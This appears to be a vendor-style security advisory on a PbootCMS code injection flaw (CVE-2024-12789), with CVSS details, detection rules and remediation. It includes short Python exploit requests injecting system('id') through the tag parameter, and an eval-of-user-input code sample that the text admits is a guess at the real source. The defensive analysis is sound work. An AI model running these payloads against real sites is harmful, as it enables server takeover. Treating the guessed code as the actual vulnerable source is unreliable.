CVE-2024-12789

Executive Summary

CVE-2024-12789 is a critical code injection vulnerability in PbootCMS, a popular content management system. The flaw resides in the apps/home/controller/IndexController.php file, where the tag argument is improperly sanitized, allowing an attacker to inject and execute arbitrary code. This vulnerability can be exploited remotely without authentication, leading to full system compromise. A proof-of-concept (PoC) exploit has been publicly disclosed, increasing the risk of active exploitation. The vendor has released version 3.2.4 to address this issue.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a PHP-based CMS. The risk is primarily to organizations using PbootCMS directly.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a classic code injection (CWE-94) in the IndexController.php file. The tag parameter is passed to a function that evaluates or includes user-supplied input without proper sanitization. An attacker can craft a malicious tag value containing PHP code, which is then executed by the server. This allows for arbitrary code execution, file upload, data exfiltration, and complete server takeover.

The exploit is straightforward: by sending a specially crafted HTTP request to the vulnerable endpoint, the attacker can inject PHP code that gets executed in the context of the web application.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.2.3): The vulnerable code likely uses eval() or include() with unsanitized user input from the tag parameter.

// apps/home/controller/IndexController.php (vulnerable)
public function index() {
    $tag = $_GET['tag'];
    eval("\$result = $tag;"); // Insecure: direct eval of user input
    // or
    include("path/to/templates/$tag.php"); // Insecure: path traversal + inclusion
}

Patched Code (version 3.2.4): The patched version sanitizes the tag parameter, likely by using a whitelist of allowed values or by properly escaping the input.

// apps/home/controller/IndexController.php (patched)
public function index() {
    $tag = $_GET['tag'];
    $allowed_tags = ['default', 'news', 'product']; // Whitelist approach
    if (in_array($tag, $allowed_tags)) {
        // Safe processing
    } else {
        // Handle invalid tag
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install PbootCMS version 3.2.3 on a local server (e.g., using Docker or XAMPP).
2. Ensure the web server is accessible from the attacker machine.

Exploit: The following Python script demonstrates exploitation by injecting a simple phpinfo() call.

import requests

target_url = "http://target.com/index.php?tag=phpinfo()"
response = requests.get(target_url)
print(response.text)

For a more advanced payload, an attacker could use a web shell:

import requests

target_url = "http://target.com/index.php?tag=system('id')"
response = requests.get(target_url)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests containing tag parameter with PHP code (e.g., system, exec, eval).
• Use WAF rules to block requests with suspicious tag values.
• Implement input validation and sanitization for all user-supplied parameters.

Hunting:

• Search web server logs for requests to index.php with a tag parameter containing PHP functions.
• Look for unexpected file modifications or new files in the web root.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to index.php with tag parameter containing PHP code (e.g., tag=system('id')).
  • Outbound connections from the web server to unknown IPs (potential C2).
• File System:
  • Unexpected PHP files in the web root (e.g., shell.php, cmd.php).
  • Modified IndexController.php or other core files.
• Process:
  • Unusual PHP processes executing system commands.

Detection Engineering

YARA Rule

rule CVE_2024_12789_PbootCMS_CodeInjection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-12789 in PbootCMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12789"
    strings:
        $php_func = /(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)/
        $tag_param = "tag="
    condition:
        $tag_param and $php_func
}

Sigma Rule

title: CVE-2024-12789 PbootCMS Code Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-12789
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12789
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'tag='
        cs-uri-query|re: '(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)'
    condition: selection
falsepositives:
    - Legitimate use of PHP functions in tag parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12789 PbootCMS Code Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"tag="; http_uri; pcre:"/(system|exec|shell_exec|passthru|eval|assert|popen|proc_open|pcntl_exec)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade PbootCMS to version 3.2.4 or later.
2. Workaround: If immediate upgrade is not possible, implement a WAF rule to block requests with suspicious tag parameters.
3. Long-term: Conduct a security audit of the application to identify and fix similar vulnerabilities. Implement input validation and output encoding throughout the codebase.
4. Monitoring: Enable detailed logging and monitor for exploitation attempts.

Valters IT